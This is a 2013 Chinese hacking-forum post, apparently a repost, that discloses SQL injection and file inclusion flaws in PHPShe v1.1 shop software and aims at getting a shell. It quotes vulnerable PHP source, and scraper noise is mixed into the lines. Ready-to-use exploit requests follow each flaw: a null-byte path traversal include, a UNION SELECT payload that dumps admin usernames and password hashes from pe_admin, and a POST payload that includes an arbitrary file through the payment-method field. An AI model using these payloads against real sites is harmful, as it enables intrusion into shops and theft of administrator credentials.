找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1966|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/' p  ?" H: w8 E
/* Phpshe v1.1 Vulnerability
# {) p! G: Q$ Z7 A( Z/* ========================
6 V6 ~0 Y, L; O$ T8 ^8 e/* By: : Kn1f30 }* g/ c. k4 D
/* E-Mail : 681796@qq.com% G/ T6 e  n: r6 [. N
/*******************************************************/* g' i7 b7 J/ o. v, f4 O
0×00 整体大概参数传输
  J) x' N+ ^  k( f* E5 i 2 E6 d& {& D" O& ]

) b$ \! d+ w( F' `# B3 a: \5 a

0 K& P% ]' X, @3 i% R//common.php
/ a/ X& n5 b3 z/ |# S6 L0 Dif (get_magic_quotes_gpc()) {
* e: h9 [& J( ^9 f/ }* e!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
6 ^0 A* Q, _! _!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');8 \7 \. d0 U+ O3 @3 D% N
}
5 z. @; }! P: jelse {: F1 r% S2 Y) f9 P; L# g
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');* J1 U( T  u( o
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
) L! C4 u! ?, y/ c! J/ z0 \6 {1 G}- j2 ], D7 g) v+ @, ?* ?" i# u) o: ?
session_start();8 o/ U# j. _! i' u
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');4 z9 j- @7 Y# \5 ^. r
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
! F" ^1 z- x5 q/ x: {: `4 {6 E. Z' d4 b
0×01 包含漏洞4 e' r8 @, T. E& F6 b% E

7 j( V" j, {& a
8 f% |% a# U% t8 j) ~' \
//首页文件, b. l/ _5 _! B' |! p
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
* ~+ L' T- j, Rinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞! Q+ u2 G8 C: v, p! U
pe_result();
, v' \# |8 `' A6 I* N' c5 \?>
. l1 F) j$ y: r//common 文件 第15行开始$ ?2 d4 T: N' g& G
url路由配置
" _$ l: i) U% O. D( d2 T$module = $mod = $act = 'index';
: {$ y% \" V. H4 b2 S$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
3 [" \7 `  `% Y$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
4 u6 v5 _  d; |+ b* a9 a$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
/ Z$ d8 S3 h  x3 H- U8 ^8 }: L//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
" q- V6 l1 L# o8 X7 T  B( e

, P- z7 B, k- J1 L. A4 n
) g% Q# T( [; d1 [- m
0×02 搜索注入
/ [/ i9 f2 f$ v! f+ W8 K $ k6 }  X- m: i8 s& x
<code id="code2">

//product.php文件
# p7 s/ x* K8 U" P: pcase 'list':
8 I9 V0 t/ t; w; i6 W: r, A9 `$category_id = intval($id);
" ~$ l7 D8 I8 F, H, Y" F+ W! L2 n$info = $db->pe_select('category', array('category_id'=>$category_id));
! @7 k3 d  y# D# C/ R3 ?/ `1 E$ O( r//搜索" i! {/ B$ M: a' p* e; d
$sqlwhere = " and `product_state` = 1";
! w/ r) g! o: |, M  tpe_lead('hook/category.hook.php');; N) _( @& G; G% O& y! E! t1 H3 f
if ($category_id) {
  Z/ V2 V0 Q3 E4 ?where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";' N% M4 ^- h8 k
}3 Q+ m( a3 L0 {. t% ^
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤5 {4 P5 q# p6 m' q6 i2 c
if ($_g_orderby) {
* U! r' V6 [: c# z+ P" N$orderby = explode('_', $_g_orderby);! x$ {9 K! E- v
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
' Z5 a" h" j1 q! ^$ r}3 s4 O9 z+ Y% L1 f$ k1 A: @
else {
/ b, f; p, Y- z% C$sqlwhere .= " order by `product_id` desc";/ k4 |3 f1 l$ s
}5 `9 H: r+ h5 \% b# B( g
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));/ Y# \  c' |6 [+ _, f: r
//热卖排行
; H( ^" s- T) X* \1 ^6 C7 I$product_hotlist = product_hotlist();
$ ]3 p" r; L/ _//当前路径# d, _* B6 F9 E& l5 t7 j+ ]1 L) G( a
$nowpath = category_path($category_id);8 @4 }8 [( o& g- k* E0 E
$seo = pe_seo($info['category_name']);0 y8 U  P5 I+ r7 U9 @5 L! h/ K
include(pe_tpl('product_list.html'));# z  w0 I# g4 a8 ~+ y& U; G
//跟进selectall函数库$ X' p( ]" F8 n4 v2 J
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array()): ]  w; P( O" Y, F+ b$ ^3 g! H
{
) U# Z" ?# E1 ]$ [  w  B//处理条件语句
0 }) d, M; l! X; y" h$sqlwhere = $this->_dowhere($where);
# h" c" L2 H6 ]* @return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
& [8 Q! v- C9 F+ T8 ~) M( P}* N6 ?8 S% U4 z0 v( y
//exp4 ~% ~+ X" l- A* }0 a. t
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
) t! p4 O  q% @7 C# ?

</code>+ P" p8 x7 u0 a3 C7 D/ v
7 `9 b& G+ q6 I, Q) [( \
0×03 包含漏洞2; D/ M$ G( h7 S4 \
" @! g& t& W5 ^( v2 h1 e
<code id="code3">

//order.php

case 'pay':


6 z& |1 w) i# |$order_id = pe_dbhold($_g_id);


3 c5 a! l5 b6 r6 u/ g( U+ @2 o6 F$cache_payway = cache::get('payway');

4 `+ y' Q6 i9 N0 g3 Z
foreach($cache_payway as $k => $v) {

/ h7 y* _$ a7 Q
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


) I$ q+ O4 ~5 q# z! zif ($k == 'bank') {

! O. q& G$ T5 j4 Z
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


& D  V! h% {4 P# `}

! j4 ?0 |3 c, s; d, }4 P' u
}


2 h5 L7 k- S) N  Y7 U: Y$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

* c2 t! d+ W: O6 n; F
!$order['order_id'] && pe_error('订单号错误...');

7 n- ^+ D7 X! Z" M, P
if (isset($_p_pesubmit)) {


! P! o0 n0 s% {: G. M, kif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


$ Q4 T& g. x" m0 t, j1 J$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


& I$ C0 N  O' i0 dforeach ($info_list as $v) {

4 a' U1 |% R  w& h0 e8 p! r* C
$order['order_name'] .= "{$v['product_name']};";
2 ?7 B+ B& l4 I- U( q" _5 e4 J6 m

) ^# E" N% Q( z
}

- J8 z' i1 h9 H# S9 `: N
echo '正在为您连接支付网站,请稍后...';


8 X& i8 |8 X% D0 Q0 S0 hinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

0 m0 M- J6 ^) I; }* @' X8 V+ d
}//当一切准备好的时候就可以进行"鸡肋包含了"


* K0 ]" T$ V! q, t' pelse {

. R$ [  r. K0 l! m, r. K* E
pe_error('支付错误...');

$ U6 Z. D. ^' Z) G- s
}

# N5 s: |7 O6 F1 ~" W) p. v
}

  K( I" E# h$ s
$seo = pe_seo('选择支付方式');

6 u1 ~2 S1 @# b$ u- m
include(pe_tpl('order_pay.html'));


7 ]" C! _$ ~9 ^8 Q- S- m1 }* {break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>3 h( y4 [9 V0 e- x3 }8 {
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表